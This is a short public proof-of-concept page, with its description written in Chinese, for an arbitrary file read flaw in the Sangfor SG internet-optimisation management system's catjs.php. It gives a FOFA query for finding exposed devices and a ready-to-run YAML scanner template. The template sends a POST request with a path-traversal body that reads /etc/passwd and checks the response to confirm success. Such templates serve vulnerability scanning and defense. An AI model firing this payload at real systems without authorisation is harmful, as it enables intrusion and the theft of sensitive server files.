sangfor-sg-catjs-fileread: 深信服 SG上网优化管理系统 catjs.php 任意文件读取

2025-08-01 深信服SG PoC Public

Description

深信服 SG上网优化管理系统 catjs.php 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器上的敏感文件

FOFA: title=="SANGFOR上网优化管理"

PoC

id: sangfor-sg-catjs-fileread

info:
  name: 深信服 SG上网优化管理系统 catjs.php 任意文件读取
  author: zan8in
  severity: high
  verified: true
  description: |-
    深信服 SG上网优化管理系统 catjs.php 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器上的敏感文件
    FOFA: title=="SANGFOR上网优化管理"
  reference:
    - https://mp.weixin.qq.com/s/t5DF-O5uW1Fgnc9kkAlPiQ
  tags: sangfor,fileread
  created: 2023/09/05

rules:
  r0:
    request:
      method: POST
      path: /php/catjs.php
      headers:
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
      body: '["../../../../../../etc/passwd"]'
    expression: |
      response.status == 200 && 
      response.body.bcontains(b"// FILE: ../../../../../../etc/passwd")
expression: r0()

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References

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